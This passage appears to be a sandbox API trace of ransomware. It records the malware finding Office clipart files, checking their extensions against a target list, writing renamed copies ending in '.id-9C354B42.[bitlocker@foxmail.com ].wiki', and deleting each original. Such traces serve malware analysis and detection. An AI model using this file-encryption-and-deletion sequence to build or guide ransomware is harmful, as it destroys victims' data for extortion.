Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0186.854] lstrlenW (lpString=".jpg") returned 4 [0186.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.855] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.855] lstrlenW (lpString="DD00256_.WMF") returned 12 [0186.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.855] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2832) returned 1 [0186.855] CloseHandle (hObject=0x1e4) returned 1 [0186.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0186.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.855] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.855] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.856] GetLastError () returned 0x0 [0186.856] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb10, lpOverlapped=0x0) returned 1 [0186.858] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb20, lpOverlapped=0x0) returned 1 [0187.097] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.097] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.232] SetEndOfFile (hFile=0x1c8) returned 1 [0187.232] CloseHandle (hObject=0x1c8) returned 1 [0187.232] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.232] SetEndOfFile (hFile=0x1e4) returned 1 [0187.233] CloseHandle (hObject=0x1e4) returned 1 [0187.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0187.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.234] lstrlenW (lpString=".doc") returned 4 [0187.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.234] lstrlenW (lpString=".docx") returned 5 [0187.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.234] lstrlenW (lpString=".pdf") returned 4 [0187.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.234] lstrlenW (lpString=".xls") returned 4 [0187.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.234] lstrlenW (lpString=".xlsx") returned 5 [0187.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.234] lstrlenW (lpString=".ppt") returned 4 [0187.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.234] lstrlenW (lpString=".zip") returned 4 [0187.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.234] lstrlenW (lpString=".rar") returned 4 [0187.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.234] lstrlenW (lpString=".bz2") returned 4 [0187.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.234] lstrlenW (lpString=".7z") returned 3 [0187.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.234] lstrlenW (lpString=".dbf") returned 4 [0187.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.235] lstrlenW (lpString=".1cd") returned 4 [0187.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.235] lstrlenW (lpString=".jpg") returned 4 [0187.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.235] lstrlenW (lpString=".doc") returned 4 [0187.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString=".docx") returned 5 [0187.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.235] lstrlenW (lpString=".pdf") returned 4 [0187.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString=".xls") returned 4 [0187.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.235] lstrlenW (lpString=".xlsx") returned 5 [0187.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.235] lstrlenW (lpString=".ppt") returned 4 [0187.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.235] lstrlenW (lpString=".zip") returned 4 [0187.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.235] lstrlenW (lpString=".rar") returned 4 [0187.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString=".bz2") returned 4 [0187.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.235] lstrlenW (lpString=".7z") returned 3 [0187.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.236] lstrlenW (lpString=".dbf") returned 4 [0187.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.236] lstrlenW (lpString=".1cd") returned 4 [0187.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63 [0187.236] lstrlenW (lpString=".jpg") returned 4 [0187.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.236] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.236] lstrlenW (lpString="DD00372_.WMF") returned 12 [0187.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.236] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=792) returned 1 [0187.237] CloseHandle (hObject=0x1e4) returned 1 [0187.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0187.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.237] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.237] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.237] GetLastError () returned 0x0 [0187.237] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x318, lpOverlapped=0x0) returned 1 [0187.322] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x320, lpOverlapped=0x0) returned 1 [0187.323] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.323] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.323] SetEndOfFile (hFile=0x1c8) returned 1 [0187.323] CloseHandle (hObject=0x1c8) returned 1 [0187.323] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.323] SetEndOfFile (hFile=0x1e4) returned 1 [0187.324] CloseHandle (hObject=0x1e4) returned 1 [0187.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.324] lstrlenW (lpString=".doc") returned 4 [0187.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.324] lstrlenW (lpString=".docx") returned 5 [0187.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.324] lstrlenW (lpString=".pdf") returned 4 [0187.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.324] lstrlenW (lpString=".xls") returned 4 [0187.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.325] lstrlenW (lpString=".xlsx") returned 5 [0187.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.325] lstrlenW (lpString=".ppt") returned 4 [0187.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString=".zip") returned 4 [0187.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.325] lstrlenW (lpString=".rar") returned 4 [0187.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString=".bz2") returned 4 [0187.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString=".7z") returned 3 [0187.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString=".dbf") returned 4 [0187.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString=".1cd") returned 4 [0187.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString=".jpg") returned 4 [0187.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.325] lstrlenW (lpString=".doc") returned 4 [0187.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString=".docx") returned 5 [0187.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.326] lstrlenW (lpString=".pdf") returned 4 [0187.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString=".xls") returned 4 [0187.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.326] lstrlenW (lpString=".xlsx") returned 5 [0187.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.326] lstrlenW (lpString=".ppt") returned 4 [0187.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.326] lstrlenW (lpString=".zip") returned 4 [0187.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.326] lstrlenW (lpString=".rar") returned 4 [0187.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString=".bz2") returned 4 [0187.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString=".7z") returned 3 [0187.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.326] lstrlenW (lpString=".dbf") returned 4 [0187.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.326] lstrlenW (lpString=".1cd") returned 4 [0187.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0187.326] lstrlenW (lpString=".jpg") returned 4 [0187.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.327] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.327] lstrlenW (lpString="DD00414_.WMF") returned 12 [0187.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.327] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=42908) returned 1 [0187.327] CloseHandle (hObject=0x1e4) returned 1 [0187.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0187.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.327] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.327] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0187.328] GetLastError () returned 0x0 [0187.328] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xa79c, lpOverlapped=0x0) returned 1 [0187.445] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0187.446] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.446] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.447] SetEndOfFile (hFile=0x1c8) returned 1 [0187.447] CloseHandle (hObject=0x1c8) returned 1 [0187.447] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.447] SetEndOfFile (hFile=0x1e4) returned 1 [0187.448] CloseHandle (hObject=0x1e4) returned 1 [0187.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0187.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.448] lstrlenW (lpString=".doc") returned 4 [0187.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.448] lstrlenW (lpString=".docx") returned 5 [0187.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.448] lstrlenW (lpString=".pdf") returned 4 [0187.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.448] lstrlenW (lpString=".xls") returned 4 [0187.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.449] lstrlenW (lpString=".xlsx") returned 5 [0187.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.449] lstrlenW (lpString=".ppt") returned 4 [0187.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString=".zip") returned 4 [0187.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.449] lstrlenW (lpString=".rar") returned 4 [0187.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString=".bz2") returned 4 [0187.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString=".7z") returned 3 [0187.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString=".dbf") returned 4 [0187.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString=".1cd") returned 4 [0187.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString=".jpg") returned 4 [0187.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.449] lstrlenW (lpString=".doc") returned 4 [0187.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString=".docx") returned 5 [0187.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.449] lstrlenW (lpString=".pdf") returned 4 [0187.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.449] lstrlenW (lpString=".xls") returned 4 [0187.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.450] lstrlenW (lpString=".xlsx") returned 5 [0187.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.450] lstrlenW (lpString=".ppt") returned 4 [0187.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.450] lstrlenW (lpString=".zip") returned 4 [0187.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.450] lstrlenW (lpString=".rar") returned 4 [0187.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.450] lstrlenW (lpString=".bz2") returned 4 [0187.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.450] lstrlenW (lpString=".7z") returned 3 [0187.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.450] lstrlenW (lpString=".dbf") returned 4 [0187.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.450] lstrlenW (lpString=".1cd") returned 4 [0187.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0187.450] lstrlenW (lpString=".jpg") returned 4 [0187.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.450] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.450] lstrlenW (lpString="DD00687_.WMF") returned 12 [0187.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), 